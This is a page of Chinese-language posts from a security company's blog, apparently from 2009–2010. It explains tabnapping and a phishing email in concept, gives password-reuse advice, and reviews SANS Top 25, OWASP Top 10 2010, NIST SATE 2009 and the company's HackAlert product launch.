2010年5月27日

模擬實戰標籤綁架手法(Challenge to TabNapping)

暨「點閱綁架(Clickjacking)」手法之後,又出現「標籤綁架(TabNapping)」的新手法了。
直接來親身體驗吧!這裡有實作的體驗網站 (FireFox 確定可以被利用)。畫面如下:


實戰標籤綁架,主要利用欺瞞手法,當你瀏覽網站時,切換到不同索引標籤(或書籤、分頁),或切換到不同視窗後五秒鐘,該有問題的頁面就會被偷偷轉換成另外一個誘騙的瀏覽頁面,於是就出現「猥琐」的事件。目前已知可以成功的瀏覽器:
1.Firefox 3.6.3
2.Chrome 4.1.249.1064

手法剖析:
1.目前大多主流之瀏覽器都有索引標籤(IE&Safari 使用此稱呼)、標籤頁(Safari 亦有用此稱呼),或稱「分頁」(Chrome&FireFox 使用此稱呼)之功能。
2.當大量使用上述功能於同一瀏覽器中,其中一頁面可以用此程式語法加以利用。
3.將頁面內容偷偷改變成為另一頁面內容,導致誘騙上當之情事。
4.可做為網路釣魚或詐騙的手法之一。

相關挑戰之系列文章:
模擬實戰點閱綁架手法
模擬實戰釣魚網站」(目前已被歸類為 Click by Download 手法)

參考資料:
Raskin 之個人部落格 PS:他是 Mozilla Firefox 瀏覽器的介面及創意負責人。在他的 Bolg 上亦展示了此手法。
相關新聞:
ITHome
資安之眼

本文同步張貼於「資安之我見」。

繼續閱讀全文...

2010年4月7日

輕鬆看懂CWE/SANS Top 25

常有人會問,什麼XX工具是否符合 SANS Top20還是 OWASP Top 10,那我們企業是否要照單全收?或者為什麼要有 SANS Top 25 、SANS Top 20 、OWASP Top 10 之類的規範?答案當然是不需要照單全收,而是因時因地制宜,譬如依照不同的IT環境,這些Top N項目不見得全部都適用,例如公司中沒有採用 Unix相關的作業系統,有些只會出現在特定環境組態的風險就不會出現。而這些規範是幫助我們了解企業資訊環境所面臨的威脅與潛在問題,讓企業在決策時有一個比較的參考水準,因此就有了 Compliance 的工具需求以及作法,例如在滲透測試或弱點掃描時就會以 Top N的呈現方式,讓業主可以清楚地了解自家環境的資安級數。



續前文

SANS與 CWE在2月公布了新版的Top 25 最危險的程式錯誤(Most Dangerous Programming Errors),總共分為三大類型元件之間不安全的互動(Insecure Interaction Between Components)、具風險的資源管理(Risky Resource Management)以及防禦不周全(Porous Defenses)。入選的時候有41項,後來評比之後選出最高風險的 25項,排名是一個在此時空環境之下的先後次序,我們在運用這份文件時,應該著重於了解其中的精髓以及他要傳達的意義。本文希望可以透過如何輕鬆地運用 SANS Top 25的方法,讓有需要的人可以順利地取用此珍貴資源,協助企業營造更完善的資安環境。協助發展 Top 25的專家認為現在面對網站應用系統的攻擊,必須從系統設計、開發過程就具有對抗常見攻擊的安全程式,若是程式本身設計與實作忽略安全,要找到攻擊網站的弱點、入侵資料庫就變得更容易。

面面俱到的SANS Top 25輕鬆上手

在SANS Top 25的文件中,非常貼心地設計了幾個章節項目,包含建議對象與閱讀方式,哪些角色應該閱讀哪些章節,閱讀的順序等。適合了解的人包含,例如:剛開始接觸安全議題,可以從25項的摘要列表開始,接著從修補方式依照您熟悉的程式語言,進行了解,這樣可以很快地知道如何從簡單的修正方式,來避免常犯下的安全錯誤。當然也可以僅挑選您有興趣的重點項目。其他角色包含:對資安熟稔的程式設計人員、軟體專案經理、軟體測試人員、軟體之使用者、教育訓練講師等,幾乎涵蓋所有相關角色,企業同時也可以運用此文件作為內部作業流程的參考範本。

其內容包含25項常見危險錯誤的描述、 該項錯誤所造成的後果、矯正的成本、偵測的難易度、攻擊頻率與攻擊者之熟稔度、技術資料說明、程式碼範例、偵測方法與預防方式,尤其是預防矯正方式中還告訴各位在軟體發展生命週期(SDLC)中的甚麼階段該介入,該做甚麼事情。像需求發展確認階段、架構與設計、建構實作、測試與上線營運的重點指引。摘要如下:

1. 教育訓練之重點提示,可以讓學校可以參考此文件之作法教學,讓畢業學生都知道該知道的安全程式方法與其源由。Top 25 也很貼心地列舉在程式設計人員教育訓練可強調之項目與內容,按照藥方來調理體質,應該可以獲得不錯的成效。

2. 依照程式語言分類的弱點項目與相關性。語言項目包含C/C++、Java、PHP、Perl。程式範例涵蓋更多語言。

3. 黑白箱工具對於該項弱點的效用分析。利用工具或人工,所做的白箱與黑箱分析檢驗,能夠涵蓋 Top 25 高中低或者是有限(Ltd)的程度。

4. 軟體開發人員認為最重要的順序 v.s 軟體用戶/客戶心中的順序。程式開發人員建立安全程式撰寫實務(security practice)之優先順序,也包含客戶最重視的優先順序,其中是有落差的,似乎問題的答案就呼之欲出。

5. 依照技術面的衝擊,包含惡意程式碼執行、資訊洩漏、取得高權限、繞過(Bypass)安全防禦機制、阻斷服務。

填補文件到現實的落差

通常一份好的文件或參考指引,到真正能夠發揮效用,這中間是有實務上的落差的。原因從大而小不外乎組織文化無法調整接納、人員能力訓練不足或人力不足空有文件亦無發揮之處、現有流程難以更動或未標準化,以及缺乏合適的工具或服務輔助完成。因此,在運用SANS Top 25時,可能會遭遇到理想與現實的重大斷層,要達到善加利用人家現成天上掉下來的禮物,還得有一套漸進、穩扎穩打的戰略。一般會建議先針對您所使用的相關語言或資訊環境涵蓋哪些問題項目,做好對自己的了解;然後利用弱點掃描、滲透測試或程式碼檢查的方式先找出問題,進行體檢與評估;接著SANS Top 25就可以派上用場,參照其計畫落實如何防禦及偵測涵蓋項目;最後則回到強化人員、流程、工具及組織文化調整,人員訓練可以參考表二,並且要定期去稽核確保是否落實以上項目。發揮 Due Care、Due Diligence的精神持之以恆。

本文投稿於資安人雜誌

阿碼科技在資安展 亞太資訊安全論壇 有兩場演講

1. 洞悉與展演 2010 Web 攻擊與應變趨勢2. 雲端、組改、個資無限好,資訊安全如何來確保?

記得來參加啊! 如果要學習網站安全程式,也可參考這個網頁安全程式撰寫技巧實戰養成班


繼續閱讀全文...

2010年1月16日

歷久不衰的詐騙郵件(Phishing Mail)-騙取帳密


出現在 MSN 信箱裡的一封郵件。還記得「電子郵件警覺性觀念」嗎?應該很容易分辯吧!但是...我還是點選了連結,才發覺不對勁的。這就是人性的弱點,同樣一個動作做一百次,總是會有一次失誤~~
不會是傳說中「高度精密的攻擊」吧!!XD

先看看 Mail Header...

IP Information - 211.239.151.232
IP address: 211.239.151.232
Reverse DNS: [Unknown]
Reverse DNS authenticity: [Unknown]
ASN: 9848
ASN Name: GNGAS (Enterprise Networks)
IP range connectivity: 1
Registrar (per ASN): APNIC
Country (per IP registrar): KR [Korea-KR]
Country Currency: KRW [Korea (South) Won]
Country IP Range: 211.192.0.0 to 211.255.255.255
Country fraud profile: Normal
City (per outside source): Unknown
Country (per outside source): -- []
Private (internal) IP? No
IP address registrar: whois.apnic.net
Known Proxy? No
Link for WHOIS: 211.239.151.232
嗯嗯,發信 IP 是 KR 來著。更加確認是釣魚郵件。

Phishing Mail 裡的連結聯到哪裡呢?畫面是不是相當熟悉呢?

但千萬要注意,它是一個釣魚網站,專門騙帳號密碼來著的,這個當然是騙取 gmail 的帳密。注意到它的網址嗎?「mail-google.dontexist.com」這跟 google 差很大吧!是個動態網域來著。目前對應的IP:

IP Information - 60.190.222.142
IP address: 60.190.222.142
Reverse DNS: [No reverse DNS entry per ns.zjnbptt.net.cn.]
Reverse DNS authenticity: [Unknown]
ASN: 4134
ASN Name: CHINANET-BACKBONE (No.31,Jin-rong Street)
IP range connectivity: 20
Registrar (per ASN): APNIC
Country (per IP registrar): CN [China]
Country Currency: CNY [China Yuan Renminbi]
Country IP Range: 60.160.0.0 to 60.191.255.255
Country fraud profile: Normal
City (per outside source): Beijing, Beijing
Country (per outside source): CN [China]
Private (internal) IP? No
IP address registrar: whois.apnic.net
Known Proxy? No
Link for WHOIS: 60.190.222.142
這應該就知道帳密會騙到哪了吧!

如要山寨各大入口網站的登入畫面,這不會太難的,況且還有現成的工具包幫你做呢?
只要手法細緻一點,往往能騙倒一堆人。

你分辨出來了嗎?

繼續閱讀全文...

2009年12月1日

帳號密碼妙關聯,一般會員知多少

這篇文其實很早就想寫了,但總認為帳號密碼管理的殺手級應用,應該隔年就快出現了。但隔了一年又一年...@@,似乎遲遲不見相關應用。希望這篇文能引起大家對帳密管理重視與分級的觀念。

身為現在網路的一份子,你有多少組帳號密碼呢?E-Mail就好幾個,還有一堆會員帳號,不是嗎?很顯然的這裡面有很大的商機,但遲遲不見相關應用產品或技術。我大膽的說,帳密問題不解決,未來雲端將沒有安全性可言。

最近這個夯很大,來做個解說吧!

上圖,大家應該頗熟悉這畫面,帳號是取用電子郵件名稱,我甲意,你的密碼是啥呢?有沒想過幾個劇本呢?
一、電子郵件名稱就是密碼?生日?[太好猜,社交一下很有機會]
二、密碼是123456。[弱密碼,隨便猜猜]
三、電子郵件信箱也是這邊登入的密碼。[這劇本非常奧妙,不少人都是用這吧]

看完帳號部分,接下來也要看一下密碼復原機制。不忘密碼枉為人...XD。

很簡單的機制,我也頗喜歡的,忘記密碼也不用擔心,直接把密碼復原的連結寄到帳號,也是一電子信箱,亦無法變更信箱...讚。這可以玩某種 One-Time Password 的把戲耶,密碼設定到極複雜,用完然後就忘記...XD。

這裡面需要注意幾個問題:
1. 帳號設定使用的電子信箱必須永久有效,不然,密碼忘記可就麻煩了。
2. 帳號設定使用的電子信箱管理權被拿走,這可是一舉淪陷多個帳號。
3. 帳號設定使用的電子信箱密碼忘記,哪,看看信箱的忘記密碼機制能否救了。
4. 啥!密碼復原郵件被當垃圾郵件,收不到@@...XD
5. 這點才是我的重點,兩邊的密碼使用都是一樣的,應該有很多人都是這狀況的,會有啥問題呢?可妙了。

這時我們先切換到另外一個場景,你曾經填寫過哪些會員資料呢?不會都一五一十的寫吧!

填寫資料項目中,玲瑯滿目、五花八門,卻也可能處處充滿由網路世界跳脫至真實世界的巧門。填寫時需要多加以衡量其資訊的正確性與有效性,如非必要,能不填就不填,需要填就使用假設的一個虛擬個人資訊吧,網路是應該有另一個虛擬身份的。你是 Anderson 還是 Neo 呢?
每個網站的眾多資料項中,裡面有個幾乎是所有網站都會要必填欄位:"密碼"與"E-Mail"。如果在會員網站留下的"密碼",與"E-Mail"使用的密碼,是一樣的。那,無異於大辣辣的把另一組帳密告訴別人了嗎?

如果:
1. 這網站是釣魚、詐騙網站。
2. 這網站管理者盜賣個資、或加以濫用。
3. 這網站會員資料淪陷了、個資外洩了。

個資是可以做很多事的,電話可以發送詐騙簡訊、撥打詐騙電話,地址可以用來寄送中獎詐騙,E-Mail可以寄發各種社交郵件,有留下 IM 資訊的可能與留下的密碼是一致的(這個可以玩的花樣可多了...),這些都可以做很多運用的。

密碼管理也需要分級設定的,還在用一個密碼打通關嗎?這風險是極高的。我想多數網友是使用好幾組密碼的,但這還不夠,還需要注意資訊的彼此關聯性,
提供一些方向參考:
1. 會員網站能不留資料就盡量別留吧!這樣密碼掉了也不會痛。
2. 一般商業會員網站,除了留假資料外,如果有密碼復原機制的,密碼就隨興吧!反正重設密碼還頗容易。最好是利用 E-Mail 做密碼復原,且 E-Mail 一經設定是無法變更的最佳,這樣只要守好 E-Mail 帳密即可。
3. E-Mail使用的密碼一定不能在其他地方使用(與其他密碼重複的)。
4. 跟$$有關的帳號密碼,請務必以謹慎方式處理,或配合實體機制(如動態密碼鎖...等)來強化安全。

看到這邊,是不是該把 E-Mail 使用的密碼都給變更一下呢?

作者 Crane 為阿碼科技一員
本文亦張貼於「資安之我見」部落格

繼續閱讀全文...

2009年11月17日

OWASP Top10 2010版初探網站資安風險管理- 如何透過源碼檢測與網站應用系統防火牆控制風險等級


OWASP組織預計在2010年公佈新版的 OWASP Top 10,目前是RC1的階段,還沒正式公佈前可以拿來參考其代表的網站安全趨勢。對於OWASP Top 10的排名順序不感到意外,倒是從風險角度出發,將名稱變更為十大最關鍵的網站應用程式風險(Top 10 Most Critical Web Application Security Risks),而不僅是弱點,把Top 10的層級拉高,更符合實際狀況與業界的需求。風險是由弱點所造成的衝擊乘上威脅的發生機率,而剩餘的風險就是在安全控制下能降低弱點本身的脆弱性或者是發生的機率。面對最高危害的十大網站安全風險,企業可以採取的對策包含解決從網站應用系統本身源碼所產生的安全問題與漏洞、強化伺服器平台的安全組態或是透過網站應用程式防火牆(WAF) 將風險轉移。

在看前十大網站安全風險之前,我們可以先了解一下這樣的排名次序是如何被量化與評估的,本來是用網站弱點的發生率作為量化的單一因素,而這樣的做法僅針對弱點本身,所以在2010年版大幅地提升了Top 10的評鑑方法,項目如下:

1.攻擊與威脅來源 (Threat agent) 做出區隔,當然可以分為人人都有機會接觸的風險來源、也有受限的存取來源、或者僅有內部管理人員可以接觸的資料等。

2.攻擊的手法 (Attack vectors) 的多樣性與難易程度 (Exploitability) 決定攻擊是否容易成功,造成該像網站弱點被打穿,當然還包含現有攻擊工具取得之難易程度。

3.弱點的流行度 (Weakness Prevalence),越廣泛流行的網站弱點,其風險發生機率也相對提高,此項目分為不常見、常見及廣泛流行三種。

4.針對網站弱點所做的安全控制 (Security Control) 像是網站應用系統防火牆 (Web Application Firewall, WAF) 或者是網站的Log檔案,分別是預防型與偵測型的安全控制項目,而安全控制的強弱與類型則決定了此項弱點之可偵測性 (Weakness Detectability),由容易、一般、難分別給於1至3分。

5. 對於技術面的影響衝擊 (Technical Impact),上述之弱點與攻擊手法一旦成功,對於網站的資源、資產、保管的資料與系統功能,可能會造成不同程度之影響,此項包含嚴重、中等、次要三種。



而攻擊的手法、弱點的流行度、弱點之可偵測性之平均分數,即是計算出本項弱點被攻擊成功的可能性 (Likelihood),乘以衝擊的嚴重性就可以表現出本項弱點之風險程度。
在威脅來源與營運衝擊的部分,會因為此項弱點所在的環境、外在條件而有所不同,差易程度相當大,譬如線上購物網站的威脅來源會比一般個人網站或小型企業網站的威脅來源多;而且商業營運的衝擊倍數亦有極大的差距。因此以目前正式公佈OWASP Top 10 之前的版本來看,威脅來源與營運衝擊,並未直接列入量化的指標,而用文字敘述方式說明。

詳細的風險評鑑方法論可以參考風險評估方法論 (OWASP Risk Rating Methodology)

相較於2010年版,過去在OWASP Top 10 2007年版的評比方式就非常簡化,其以2006年的MITRE 弱點統計趨勢 (Vulnerability Trends) 為參考,找出與網站應用程式相關的前十大安全問題,但弱點發生次數頻繁卻不表示其風險就高,這也是為何此次2010年版導入嚴謹正規的風險評估方法論。

與前一版 (2007年版) 的差異在於從舊的排名移除兩個項目,再新增兩個項目
移除 A3 - Malicious File Execution (惡意檔案執行)
移除 A6 –Information Leakage and Improper Error Handling (不當資訊揭露與錯誤訊息處理)
新增 A6 –Security Misconfiguration (不當安全配置)
新增 A8 –Unvalidated Redirects and Forwards (未驗證的轉址與轉送)
仔細看所移除的這兩項仍是非常重要,以惡意檔案執行為例,當初被放進 OWASP Top 10 2007主要是因為PHP在建置時有太多的預設參數會讓此弱點非常普遍,而現在隨著新版PHP有更周延的預設配置,OWASP認為此風險相對會小很多。另外不當資訊揭露固然沒有直接風險 (通常不能直接用來做攻擊),但卻是進行攻擊時很好的參考資訊,很可惜這兩個項目都被擠出"十強"了,但我們還是要提醒大家注意。
至於新增加的不當安全配置,早是OWASP Top 10 2004年版的老面孔了,而未驗證的轉址與轉送更隨著近年流行的掛馬與零時差漏洞,讓這類無預警的轉址行為變得非常危險,是以風險大幅提高。

OWASP Top10 排名是一個象徵性的參考指標,像這一兩年在網站資安事件中,很大一部分是跟SQL Injection有關,同時這樣的攻擊所造成的衝擊比較嚴重,但是Dave也說他就是不理解為何還是有這麼多網站有這個問題,SQL Injection應該很容易可以修改的。不過這一兩年來新的攻擊手法演變,包含大量資料隱碼注入攻擊 (只要一行,跳脫原有只關閉錯誤訊息可規避之攻擊)、攻擊碼的變形及編碼、注入點的擴張 (Cookie、URL、檔案等)。所以,排名是一件事,而企業是否有採取相對應的安全控制則是更重要的議題,威脅手法在改變,千萬不要有一勞永逸的心態,安全控制項目也要跟著進化。像WAF要調整規則;源碼檢測要更新語言架構和新的驗證方式;網站掛馬檢測要更新因應新型態掛馬與攻擊 (exploit) 的偵測。

而網站應用系統防火牆可以提供的安全控制包括:A1 注入弱點、A2 跨站腳本攻擊、A4 不安全的物件參考、A5 跨站請求偽造、A6 錯誤或不安全的系統組態、A7 網址存取控制失當及A8 未驗證的轉址與轉送。同時也可以透過源碼檢測的方式把潛在問題在開發階段就先找出來。現在有很多資安工具與服務都提供這樣的風險評估模式,重點在於有沒有針對您所在的環境去調整基本參數 (作業系統、網站伺服器、網站架構、網站應用程式語言..等),以及歷史事件資料。

OWASP組織亦提供了許多對策,從開發的OWASP Developer’s Guide、測試與審查的OWASP Testing GuideOWASP Code Review Guide,而且還可以參考其OWASP Application Security Verification Standard (ASVS)和OWASP Software Assurance Maturity Model (SAMM)的標準與成熟度模型,作為大型網站環境的安全評估與實踐網站安全管理的參考。

下載OWASP Top 10 2010 RC1

本文作者Jack Yu
阿碼科技資安分析師
感謝Benson Wu(產品總監) 與ASF團隊之協助校正


繼續閱讀全文...

2009年11月9日

源碼檢測工具,怎麼比?美國國家標準局有研究:NIST SATE 2009 (源碼檢測工具研討會)

十一月初阿碼科技獲邀參加由美國國防部(DOD)國土安全部(DHS)美國國家標準局(NIST)所舉辦的SATE 2009 (Static Analysis Tool Exposition,源碼檢測工具研討會)發表演說。

SATE 2009 源碼檢測工具研討會是美國Build Security In ("內建安全")Software Assurance (軟體保證)計畫中的重點工作。



大會主席Paul致詞為研討會揭開序幕

阿碼科技發表「Addressing Software Security through Automated Static Analysis (以自動靜態源碼分析落實軟體安全之實務經驗分享」為題的演說

演講後回答問題,包括近一步說明 CodeSecure 如何呈現弱點追蹤(Traceback)、醒目語法提示的重要性、以及政府機關如何善用源碼檢測報告。

大會場地在靠近美國首都華府附近的一個小城市:維吉尼亞州Arlington(阿靈頓)的Crystal City (水晶市),緊鄰美國國防部所在的Pentagon City(五角大廈市),也正是此次公司所安排下榻飯店的位置,交通十分方便。

DC附近戒備深嚴



行前上網查詢發現研討會所在的飯店附近的停車費用一天要二十多元美金,但搭乘地鐵過去則只需要幾塊,因此一早七點半搭乘地鐵前往會場,一站就到達水晶市,之後沿著地下通道的大街小巷路牌指示,經過各式各樣的商店,居然就步行至會場,完全不需要離開地鐵站回到"路面上"!

SATE 2009真是一個匯集軟體安全領域先進、前輩、專家的會場,有好幾位過去在OWASP會議就結識的老朋友,像是來自NIST在軟體驗證、正規方法有諸多研究的PaulVadim,也有久仰的多位大師級人物包括C語言的Robert、JAVA語言的馬里蘭大學教授Bill,美國NSA (國家安全局)的高手,以及許多也對自動源碼檢測有高度興趣的同好,和各同業代表(Coverity、Klocwork、Veracode、GrammaTech、LDRA)等等。

在阿碼科技的簡報中,我們分享源碼檢測在SDLC中的實務經驗,以及討論此次SATE評比的結果,很可惜我們目前仍無法擅自對外揭露評比結果,即使是我們自己工具的數據,這裡面有很多有趣的觀察與發現。

與會成員討論非常多的數據,辯論很多觀念,也激盪出許多想法,此次SATE 2009源碼檢測工具研討會的主要目標(與成果):
1) 如何評估源碼檢測工具? (這對使用者是非常重要的)
2) 如何改善源碼檢測工具? (這對工具廠商是非常重要的)
3) 如何善用源碼檢測工具? (這對使用者和工具廠商都是非常重要的)

關於1): 市場成熟了,但工具成熟了嗎?廠商會大聲地說YES,但使用者要如何確認? 譬如,在評估的過程中,一個關鍵因素就是誤報率。不同的使用者是否清楚不同角色所認定的誤報? 不同角色(開發人員、QA測試人員、內部稽核人員、外部稽核人員、驗收人員、一般使用者)對於同樣的"弱點"會有不同的"價值觀",說穿了弱點是非常主觀的,在這些定義上要有一致的共識與標準,如此才能有效評估一個甚至多個工具是否能為企業與使用者帶來高效益的價值。

最重要的是,我們發現這樣的交流、互動平台不僅對整個軟體安全產業是正面的,對一般社會大眾在了解與熟悉源碼檢測工具有極大助益。在過去源碼檢測這塊是大眾比較陌生的,但我們可以看到這幾年不論是產官學或一般社會大眾,大家都認為資安是非常重要的議題,也是目前越來越困擾的嚴重問題。全球近年在推動軟體安全已逐漸有追根究柢、及早治本解決的趨勢,包括美國政府率先在推動的Build Security In ("內建安全")Software Assurance (軟體保證)計畫,強調安全是從內至外、從頭到尾重視、要求、落實,以及驗證。在這樣的過程中,自動化工具與源碼檢測分析技術的成熟與否是解決整體軟體安全問題非常關鍵的面向之一。

NIST將在2010年3月左右發表此次全球源碼檢測工具評比的完整報告。

作者 Dr. Benson Wu 為阿碼科技產品線總監

繼續閱讀全文...

2009年9月25日

[No Tech] 阿碼科技於DEMO Fall 2009發佈最新掛馬檢測技術HackAlert V2


在資策會的領軍之下,阿碼科技登上了DEMO的舞台,發表我們的第二代HackAlert網站掛馬檢測技術。HackAlert V2除了更準確地監控網站掛馬與網頁至換之外,更與SmartWAF配合,提供了即時修復的功能。HackAlert V2能夠準確地定位被插入的惡意元素(html、iframe、javascript等),一方面幫助網站管理者修復網站,一方面則將訊息即時地傳送給SmartWAF。收到指令後,SmartWAF會啟動即時掛馬修復功能,動態地透過修改http response,將被掛入之惡意成分移除,一方面保護網站的訪客,一方面也免於網站被列入Google或防毒廠商的黑名單當中。再加上CodeSecure可以掃瞄程式碼,幫助程式漏洞之修改,以及阿碼資安顧問團隊ASF所提供的各種服務,整個阿碼的Web資安解決方案,可說相當完整。

我們的六分鐘DEMO影片如下:

主流媒體報導:
Mashable: HackAlert: Web Apps Finally Get Secure
VentureBeat: DEMO: Armorize’s HackAlert notifies you if your web site is under attack
iThome: 阿碼科技HackAlert™ 世界肯定,受邀「全球創意DEMOfall 09」之展出
DEMO網頁上的阿碼

整個從參加資策會Ideas Show開始到DEMO,我的感覺是...「大難不死」...

怎麼說呢。不論是資策會的Ideas Show或者DEMO,都是非常棒的產品發表舞台。今年大廠如HP與Google,也都在DEMO上發表他們的新技術。DEMO的展示,因為只有六分鐘,所以內容都很精華,可以看到有些人緊張,有些人穩健,有些人背稿,有些人熱情...加上短時間內可以看到許許多多的創新,體驗創業家的那種熱忱,讓我很喜歡看DEMO的六分鐘影片。我的心得是,上場的如果是團隊的專業行銷部門,通常可以做得很流利穩健,一看就是訓練有素,一點不怕大場面。但是如果是創辦人或經營團隊親自出馬,因為不常上台,雖然會比較緊張,雖然講話比較不順,甚至有些笨拙,但是總能帶給觀眾更深切的感受。因為他們所散發出來的,是他們對於技術的熱忱,對於產品的信心,對於公司的驕傲--這種心情深深滲透在他們的血液裡頭,他們想要告訴觀眾,他們的東西有多好!這種感覺,不是專業的行銷團隊所可以訓練出來的。

去年讓我印象最深刻的DEMO團隊,後來也得了DEMOGod獎,是Plastic Logic這家公司,由CEO Richard Archuleta親自上場。Plastic Logic成立於2000年,募了超過兩億美金的資金,做的產品是電子書上用的超薄塑膠螢幕。Richard在台上蠻緊張的,DEMO中也出現一些小錯誤,但是產品真的很棒,技術門檻很高,加上大家都可以看出,他的展示中充滿了對公司的信心與驕傲,是我覺得他們得獎的主要原因。

今年得首獎的兩個團隊,一個是做MS Outlook外掛,來自澳洲的Liaise,另一個則是做超薄塑膠喇叭的EMO Labs--兩家公司做的都跟Web沒有直接關係。我看完EMO Labs的展示,就直接認為,今年他們一定拿獎!EMO Labs也是由CEO Jason Carlson親自上場,講得很慢,但是表達得很清楚:現在螢幕越做越薄,沒有空間能夠置入好的喇叭系統,成為目前超薄顯示系統的最大弱點。EMO Labs能夠用透明的塑膠材質,做出雙聲道的喇叭,直接黏在螢幕前面,不佔任何空間,而效果又好:

Jason忙著介紹公司的產品與技術,甚至往了介紹自己的名字,讓記者急著詢問,台上到底是誰?

阿碼這次一路從資策會IDEAS Show,參加到DEMO,可以說非常辛苦。困難之一,是這種產品平台上發表的東西,都很炫。可是要把資安的東西,對著台下都不是資安領域的聽眾,講得很炫,真的是一件很不容易的事。阿碼的核心技術,首推源碼檢測;從2003年寫的論文,一路做到現在,演算法也不知演進了多少代了,現在所用的資料結構與演算法,實在非常漂亮,可是,我們已經幾年沒有在台上講過這些技術了。這些東西講起來就是一堆演算法,畫一堆graph,然後推複雜度(complexity);不要說一般聽眾,就連資安專家,可能有興趣的也不多。講應用面呢?在一堆密密麻麻的程式碼中跳來跳去,解釋我們用什麼演算法來掃到什麼樣的複雜漏洞...除非台下對於資安與程式設計都有基礎,不然也是很難有效果。也許這就是源碼檢測團隊的宿命吧!永遠只能在一個很小的圈子中,才能因技術的分享而產生興奮的火花。

這也是為什麼,對於我們公開的演講或這類的展示平台,我們都盡量以HackAlert為主。當然還是遠不如超薄塑膠螢幕或塑膠喇叭所能帶來的驚奇,但是至少網站掛馬還是跟一般人有些關係,大家聽了比較有感覺。

困難之二,是我們大家都身兼數職,大家真的是騰不出時間來準備與練習。拿我來說吧,DEMO創辦人Chris Shipley應資策會邀請來到台灣,也約了我們碰面,我是創辦人兼CEO,理當去赴約,可是我實在太忙,公司大小事情堆積如山,每個小時對我都很重要,實在無法抽身,只好請創辦人兼COO兼CFO的Matt,以及Sales Director Volker與她碰面,並參與IDEAS Show的準備與上台工作。

結果雖然我們得了獎,也受到了DEMO的邀請,可是大家都說,實在沒空去。經過協調,只好請John代替需要全心投入歐洲市場開發的Volker,並還是請Matt與創辦人兼CTO的Walter上場。John來自加拿大,目前全家都在台灣,他在資安界做了近20年,除了擁有CISSP等證照,也是ISC2(發行CISSP的組織)與SANS的顧問,由資安經驗豐富的他出馬,幫我們重新設計展示內容與寫演講稿。

準備期間,資策會IDEAS Show的許多同仁,一路輔導我們,讓我們充分體驗了他們在這方面的經驗與專業。我們是第一次參加DEMO,他們則是經驗豐富,在他們的指導下,我們的演講可說是翻了又翻,改了又改,一直到上飛機的前幾天。整個過程中,我可以說是提心吊膽到了極點。因為我知道一個資策會不知道的秘密:他們眼前的這三個人,排演一結束,就會開始接電話,開會,Walter甚至還要顧HackAlert的技術部分,一次彩排完,我看過幾個小時,他們就什麼都不記得了,這是要如何上台?

日子過得很快,一下子這票人就到了聖地牙哥了,結果一到旅館,果然不出我所料,Walter立刻被台灣的研發團隊纏上,Matt也是電話講不完...輪到他們上台預演時,大家是拿稿子上去唸的...當然,看到其他隊伍似乎都準備充分,他們比我更緊張,於是我發了一封email給全公司,接下來一天,大家不准打給Matt或Walter,有事只能寫email。然後我說,我們上台前的CEO晚宴,說明會,開幕等,都交給同事Orion處理,Orion是美國人,他會弄得很好,要上台的三人,不准出門,趕快練!

DEMO開始了,我們是下午第一家,我晚上開始從台灣看網路上的現場轉播,一連幾家公司都出現網路問題,大會主席Chris Shipley也出面說,會場頻寬不夠,希望在場的大家不要連接現場轉播,會吃去頻寬。DEMO限定一定要live的DEMO,不能用錄影的,也不能用投影片。可是一旦現場頻寬不穩,狀況就會慘不忍睹。Chris雖然有答應受影響的團隊可以重來,可是,誰希望重來呢?於是我立刻與Walter聯絡,Walter說,他不怕,叫我不用緊張,他有多個方案,一站上台的前十秒,他會先測試,決定哪個方案後,會跟團隊打pass。

輪到他們上台時,台灣凌晨五點多,我在電腦前看著轉播,那六分鐘之間,我真的是緊張到忘記要呼吸。DEMO的網站上,實況轉播旁邊就是twitter上有關活動大家的看法。我們的DEMO進行到一半時,我發現,大家真的都很喜歡我們的DEMO!

其中兩個tweet真是讓人振奮:

「How these guys made security interesting, dont' know, but they did. Great job HackAlert- Armorize.com」(這些人如何讓資安變有趣的,不知道,但是他們做到了。做得好,HackAlert)
「Why do the security companies have the best presentations?」(怎麼最好的展示都是資安公司?)

從頭到尾,他們演出完美,沒有讓公司漏氣,更重要的是,在這個台灣軟體業邁向國際的接力賽中,我們沒有掉棒,我們盡力做到能力所及之最佳水準,沒有對不起前輩,也沒有讓資策會的長官失望。看著他們的展示,不但心裡幫他們驕傲,也幫台灣所有的同仁驕傲。四年前,我們有的不過是很多的論文,都寫在紙上;四年後,我們在DEMO上展示的CodeSecure與HackAlert,看起來是那麼的成熟,那麼的專業,我們舉出的指標性客戶,遍及全球,並都是最大的客戶。

最近,如何訓練新人,是團隊中常被提起討論的議題。看著他們的討論,想到四年前他們青澀的模樣,當時他們雖然技術好,但是缺乏經營的經驗。四年之後的他們早成了公司的棟梁,是源碼檢測與惡意程式的專家,仔細地設計出公司的各種流程與組織架構,用心地幫公司想未來。究竟是什麼樣的運氣,讓我們大家能相遇,讓阿碼能有這樣的團隊,我也想不懂。但是,恭喜大家,你們的努力,成果不凡!也再次謝謝資策會、研考會、技服中心、軟協等指導單位在各方面給阿碼的幫忙,我們會繼續努力,很高興在台灣的軟體界邁向國際的路上,我們能夠參與其中!

作者Wayne為阿碼科技一員

繼續閱讀全文...

2009年9月7日

另類XSS攻擊手法:利用PDF與Flash的XSS攻擊--Opera Unite安全性第一回


九月一日,Opera 10沸沸揚揚的登場了,新聞還真不少:

ITHome: Opera 10釋出 四小時下載超過20萬
ZDNet: Opera 10 正式版出爐 新增Turbo加速功能
網路資訊: Opera 10正式版推出開放下載
聯合新聞網: Opera 10 全世界最快的瀏覽器

眾多報導中我最有興趣的,是Opera推出了「Opera Unite」社交平台,上面有檔案分享,部落格等等社交網路服務(SNS, Social Networking Service)功能,並由Opera 10瀏覽器直接支援,計畫藉由其瀏覽器使用者之基礎,踏入SNS與UGC(使用者產生之內容,user-generated content),也藉由SNS與UGC,反過來穩固其既有的瀏覽器社群。在 my.opera.com上,Opera Unite宣稱提供1G的免費空間,並大力推廣部落格功能。Opera Unite的部落格直接有行動版,方便行動用戶利用Opera Mini閱讀(Opera市佔率以行動市場為最高)。




新裝好的 Opera 10 瀏覽器中,也直接有功能與 Opera Unite 整合,充分展現 Opera 這次進軍 SNS 的企圖心!



PDF XSS 跨腳本攻擊測試
